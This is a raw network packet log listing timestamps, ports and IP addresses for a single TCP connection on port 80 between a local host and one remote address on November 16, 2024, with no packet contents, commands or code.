Nov 16, 2024 04:33:23.114608049 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.114610910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114629984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114645958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114661932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114675999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114691973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114715099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114731073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114732027 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.114748001 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114764929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114782095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114789963 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.114799023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114862919 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384284973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384296894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384309053 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384319067 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384329081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384341002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384351969 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384370089 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384432077 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384443998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384454966 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384460926 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384475946 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384480953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384497881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384506941 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384507895 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384520054 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384531021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384538889 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384552956 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384568930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384582043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384587049 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384587049 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384593964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384604931 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384615898 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384663105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384665012 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384677887 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384690046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384696007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384701967 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384702921 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384702921 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384712934 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384725094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384736061 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384747028 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384757042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384769917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384774923 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384802103 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384826899 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384826899 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384841919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384854078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.384879112 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384947062 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.384994030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385011911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385025024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385040045 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385055065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385066986 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385082960 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385085106 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385087013 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385090113 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385091066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.385091066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.385101080 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.385138988 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.385149002 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.389646053 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.389656067 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.389853001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.409863949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.409878016 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.409888983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.409898996 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.409909010 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.409986019 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.409986019 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.410172939 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410186052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410240889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.410300970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410310984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410320044 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410373926 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.410373926 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.410609961 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410679102 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410835981 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.410950899 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410967112 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.410979986 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.411041021 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.411070108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.411093950 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.411104918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.411125898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.411247969 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.411955118 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.411978960 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.411993980 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.412003994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.412014008 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.412024975 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.412048101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.412048101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.412092924 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.412863970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.412873030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.412919998 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.490272999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490304947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490314007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490323067 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490329981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490335941 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490344048 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490379095 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.490438938 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.490585089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490614891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490658998 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.490750074 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490760088 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490770102 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490787029 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.490806103 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.490844965 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.491099119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.491281986 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.491292000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.526874065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.526885033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.526895046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.526906013 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.526932955 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527019024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527067900 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527080059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527105093 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527160883 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527185917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527204037 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527214050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527220964 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527225018 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527236938 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527245045 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527337074 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527723074 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527735949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527749062 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527785063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527796984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527806044 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527806044 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.527807951 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.527880907 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.528412104 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528424025 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528435946 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528446913 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528459072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528467894 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.528470993 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528485060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528492928 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.528506041 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.528506041 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.528881073 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.529045105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.529062033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.529073954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.529145002 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.529145002 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.607630014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607641935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607647896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607657909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607662916 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607669115 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607675076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.607872963 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.607995987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.608010054 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.608021975 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.608051062 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.608076096 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.608339071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.608352900 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.608364105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.608388901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.643949986 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.643965006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.643975973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644052982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.644082069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644095898 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644107103 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644140005 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.644314051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644351959 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644362926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644392014 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.644432068 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.644562960 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644586086 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644598961 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644609928 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644622087 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.644632101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.644684076 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645085096 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645097971 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645109892 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645122051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645132065 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645134926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645159960 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645184040 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645534992 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645596981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645608902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645622015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645632982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645644903 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645683050 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645684958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645700932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645714998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645728111 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.645750046 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.645771980 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.646473885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.646511078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.646522999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.646528959 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.646570921 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.724695921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724862099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724874973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724884987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724895954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724905968 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724916935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724927902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724939108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.724951029 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.725069046 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.725135088 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.725163937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.725174904 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.725243092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761116028 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761127949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761137009 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761178017 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761219978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761231899 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761269093 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761349916 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761362076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761373997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761384010 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761406898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761428118 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761748075 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761759043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761770964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761780977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761791945 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.761801004 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761817932 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.761842012 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.762183905 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762233973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762247086 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762280941 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.762285948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762299061 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762309074 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762320995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762331009 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762334108 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.762376070 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.762979031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.762990952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763025999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763029099 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.763039112 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763051033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763061047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763072014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763082981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763092041 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.763096094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763144970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.763863087 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763875008 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763885975 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763904095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.763915062 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.763952971 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.841723919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841736078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841748953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841762066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841773033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841784954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841797113 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.841814995 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.841864109 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.842001915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.842071056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.842082977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.842142105 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.842199087 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.842211008 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.842223883 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.842284918 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.878215075 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.878237009 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.878247976 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.878293037 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.878314018 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.878355026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.878484964 CET	80	49742	185.215.113.16	192.168.2.4
